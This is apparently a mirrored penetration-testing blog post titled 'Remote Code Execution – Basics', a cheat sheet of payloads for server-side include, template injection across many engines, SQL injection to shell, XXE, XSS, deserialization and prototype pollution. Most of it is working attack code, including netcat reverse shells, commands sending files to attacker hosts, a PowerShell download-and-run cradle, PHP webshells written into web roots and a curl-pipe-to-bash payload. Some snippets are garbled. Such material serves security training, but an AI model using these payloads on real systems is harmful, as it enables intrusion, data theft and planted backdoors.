Remote Code Execution – Basics
2023-9-13 20:30:14 Author: securitycafe.ro(查看原文) 阅读量:42 收藏

In this blog post you will learn how to identify basic Remote Code Execution vulnerabilities and how to exploit them.
Caution: Some payloads discussed here can disrupt systems. Use responsibly.

1. Introduction

Remote Code Execution (RCE) is a serious security problem caused by sloppy coding practices. It can lead to major security breaches, resource losses, and damages. When attackers exploit RCE, they can run malicious code and gain full control over a system, essentially becoming a trusted user. They might even try to gain more privileges once inside.

RCE doesn’t stop at just compromising a web application; it can also impact the web server hosting it. This chapter emphasizes the importance of understanding and addressing the risks associated with RCE vulnerabilities in a system. Plus, the insights from this study will be useful for developers and stakeholders, helping them grasp the dangers of data breaches and unauthorized system access.

For the upcoming section we have types of vulnerabilities and how they can be exploited to gain Remote Code Execution.

2. SSI (Server-Side Include)

When the user inputs data into the response that is parsed for Server-Side Include directives. It simply injects code which will be executed upon page reload. The default format is: <!–#directive param=”value” –>.

You can test and execute commands as it follows:

// Command exec
<!--#exec cmd="dir" -->

// Command exec
<!--#exec cmd="ls" -->

// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <Your_IP> <Port> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

3. SSTI (Server-Side Template Injection)

Can be used to directly attack the web servers and happens when the researcher is able to use native template syntax to insert his own malicious code into the template which then is executed by the server.

To test for SSTI the following polyglot, if it triggers an error, shows the existence of a SSTI vulnerability: ${{<%[%'”}}%.

3.1 Automated detection

Taken from the Github page: “Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.” It supports many template engines and does many checks for RCE, Blind Injections and if you have read/write permissions.

After installing the prerequisites simply run it:

./tplmap.py -u 'http://www.target.com/page?variable_name=value'

3.2 Java

3.2.1 FreeMarker

To execute commands:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

${"freemarker.template.utility.Execute"?new()("id")}

3.2.2 Velocity

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

3.2.3 Thymeleaf

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

3.2.4 Spring Framework

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
3.2.4.1 Spring View Manipulation
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::.x
${T(java.lang.Runtime).getRuntime().exec("touch evil.txt")}::.x

More about this at the next link: https://github.com/veracode-research/spring-view-manipulation

3.2.5 Pebble

Until version < 3.0.9:

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

For versions >3.0.9:

{% set cmd = 'id' %}


{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

3.3 PHP (Twig)

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

3.4 NodeJS

3.4.1 Jade

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

3.4.2 JsRender

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('<Your_Cmd>').toString()")()}}

3.4.3 PugJs

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

3.5 Ruby

3.5.1ERB

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

3.6 Python

3.6.1 Tornado

{% import os %}

{{os.system('whoami')}}
{{os.system('whoami')}}

3.6.2 Jinja2

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

3.6.3 Mako

<%
import os
x=os.popen('id').read()
%>
${x}

3.7 Razor -> .NET

To encrypt the payload for powershell to understand you must do the following:

echo -n "<Your_PowerShell_Command>" | iconv -t UTF-16LE | base64 -w 0

Then abuse SSTI vulnerability with the following payloads:

@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc <Encrypted_Payload>");

@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

3.8 ASP

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://<Attacker_IP>:<Port>/shell.ps1')").StdOut.ReadAll() %>

4 SQL Injection

SQLI – almost all dbs once you’re inside have a way to execute commands: MSSQL with xp_cmdshell or you have privileges high enough to upload files to host with SELECT <payload> into DUMPFILE/OUTFILE <local-file.php> in MySql. You could always try sqlmap --os-shell flag and if there’s a way the tool will give you a shell on the host.

4.1 MSSQL

Once you have an username and password for the database you can check if the user has access to enable xp_cmdshell which spawns a Windows command shell which lets you run commands directly on the host. You can interact with the database with mssqlclient.py.

First to enable xp_cmdshell:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

And then execute commands:

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping <Your_Host>';

Here “master” stands for the database position, “dbo” is the schema” and “xp_cmdshell” is the system stored procedure. But for Microsoft all the system stored procedures are in master so it is not necessary to write “master.dbo” and you can leave it at “Exec xp_cmdshell ‘<Your_Command>’;” and you can have fun on it.

4.2 MYSQL and MariaDB

You have 2 options to write files on the target system:

SELECT ‘<?php echo system($_GET["cmd"]); ?>’ into DUMPFILE ‘/var/www/html/backdoor.php’

SELECT ‘<?php echo system($_GET["cmd"]); ?>’ into DUMPFILE ‘C:/xampp/htdocs/backdoor.php’
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php'

' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/var/www/html/other/cmd.php'

If you don’t get any error it means the file was uploaded successfully and now you can execute commands on the remote system.
If you have an username and password you can connect to both with mysql command-line client.

4.3 Oracle DB

To list all the privileges you have:

select * from dba_java_policy
select * from user_java_policy

To grant yourself privileges:

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

On versions 10g R2, 11g R1 and R2 of Oracle DB you can execute commands as it follows:

SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir > c:\Output.lst') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/Output.lst') from dual

Another way on 11g R1 and R2 versions of Oracle DB you can do the following:

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/Output.lst') FROM DUAL

There are many more options that let you execute commands, but one that stands out if Java is installed on the target system is createing a Java class:

/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 <Your_IP>') FROM dual;

You can use sqliplus CLI to connect to an Oracle DB. Don’t forget to have tcpdump running to catch the pings if the command succeeded.

4.4 PostgreSQL

In PostgreSQL 9.3-11.7 there is CVE-2019-9193 which exploits a Remote Code Execution vulnerability and it can even be used from Metasploit. To manually do it you must do the following:

DROP TABLE IF EXISTS cmd_exec;          -- First DROP the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- View the results
DROP TABLE IF EXISTS cmd_exec;          --  Remove the table

Old versions of PostgreSQL have public PoCs and are easy targets. You can connect to the DB with psql, an interactive terminal to PostgreSQL.

4.5 SQLite

On linux you can create files, similar to mySQL and MariaDB, by creating a new database:

ATTACH DATABASE '/var/www/html/cmd.php' AS evil;      /create the database with the .php extension in the web server's root directory

CREATE TABLE evil.pwned (dataz text);                     /create a single table to which we will add a single line of text

INSERT INTO evil.pwned (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--    /add the malicious code to the created file

5. XXE (XML eXternal Entity) injection in PHP

XXE happens in applications that parse XML when the input which contains a reference to an external entity is handled by an insecure XML parser.

In PHP if the “excpect://” module is loaded it can be abused to get Remote Code Execution:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

6. XSS to RCE

XSS attacks enable the malicious user to inject evil scripts into trusted websites. It can sometimes lead to RCE. Though it is pretty rare, here is an example on how it could be achieved:

6.1 Proton v0.2.0 – > CVE-2022-25224

Repository Proton: https://github.com/steventhanna/proton/

First step was to create a markdown file containing the attacker’s site which the application opened:

[Click me!!!](http://192.168.1.67:8002/rce.html)

The second step was for the attacker to host the malicious rce.html file with a Js script with following content:

 <script>
     require('child_process').exec('calc');
 </script>

And thus, gaining Remote Code Execution on the Windows targeted host.

7. Deserialization attacks

Happen in the deserialization phase of the data structure where it is rebuilt into an object. It is hard to secure it so it’s better to not allow any user input as it can lead to RCE, DoS and access control.

7.1 PHP

You have the the following magic methods that are used in deserialization: __wakeup ( PHPcall-back which gets executed when deserialization happens ) , __unserialize ( converts serialized data back into actual data ), __destruct ( PHP class constructor which gets called when the reference to an object are removed from memory ) and __toString ( PHP call-back is executed when the object is treated like a strings ). The code that is in between __wakeup and __destruct methods will get get executed.

Portswigger provides a simple example where you have a website that has a serialized User object to store session data of the user. If the attacker can get the serialized object in a HTTP request , they could possibly decode it to:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

As an attacker changing the 0 to 1 would be obvious and the right way to go. Now just re-encode the object and modify its own cookie.

In the next example the code checks if the user has access to the admin interface. If the attacker could manipulate the isAdmin attribute it would make it possible to access resources that should not be available for non admin users.

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

7.2 Python

Pickle module implements binary protocols for serializing and deserializing a Python object and structure. It is not safe and it can lead to RCE:

import pickle, os, base64

class EvilPickle(object):
    def __reduce__ (self):
        return(os.system, ('ping -c 2 <your_IP>',))
print(base64.bs64encode)pickle.dumps(P())))

7.3 Java

You should look for the following classes and objects:
-> XMLdecoder
-> Xstream with fromXML 1.46 <= xtream is vulnerable
-> ObjectInpuStream with readObject
-> Uses of readObject, readObjectNoData, readResolve or readExternal
-> ObjectInputStream, readUnshared
-> Serializable
Identifiers of java deserialization:
-> AC ED 00 05 in Hex
-> rO0 in Base64
-> Content-type header of an HTTP response set to application/x-java-serialized-object
-> 1F 8B 08 00 Hex previously compressed
-> Web files with extension .faces and faces.ViewState parameter.

The following script taken from hacktricks creates all the possible code execution payloads for Windows and Linux which can be tested on the vulnerable web pages. All you need is is to download ysoserial.jar run the below script and add the payload in the parameters.

import os
import base64
 
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')
 
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

7.4 .NET

If you have access to the source code, the following serialisers should be searched for:

-> BinaryFormatter
-> ObjectStateFormatter
-> LosFormatter
-> NetDataContractSerializer
-> JavaScriptSerializer
-> TypeNameHandling
-> JavaScriptTypeResolver
In a black-box approach keep an eye on Base64 encoded string AAEAAAD//// or other things that are deserialized in the back end:
-> JSON or XML containing Typeobject or $type
Again you can use ysoserial.net to create payloads for the .NET Framework

8. Prototype Pollution

Is a vulnerability that affects prototype based languages as JavaScript and the cross-platform Node.js. The usage of the prototype is to inherit properties from an object to another object.
The prototype of any object can be accessed via the property of “__proto__”.

Let’s say you have the above code. If you add the property “__proto__” as done below and it doesn’t error out you should get a hit on your web server.

{
    "param1":"value1",
    "param2":"value2",
    "__proto__": {
        "shell": "node",
        "NODE_OPTIONS": "--inspect=evil\"\".com"
}

Or you can directly execute commands on the targeted host and get a reverse shell or do any command at will.

{
    "param1":"value1",
    "param2":"value2",
    "__proto__": {
        "execArgv": [
            "--eval=require('child_process').execSync('curl <Your_IP>/rs.sh|bash')"
]}

Conclusions

There are many ways to exploit Remote Code Execution vulnerabilities and as it can be seen above it can be fun too. For penetration testers understanding better how Remote Code Execution works is crucial for the job.
I hope RCE is more clear to you now, but please keep in mind this is not an exhaustive list and there are many more ways and potential vulnerable points that can be exploited.
Thank you for reading!


文章来源: https://securitycafe.ro/2023/09/13/remote-code-execution-basics/
如有侵权请联系:admin#unsafe.sh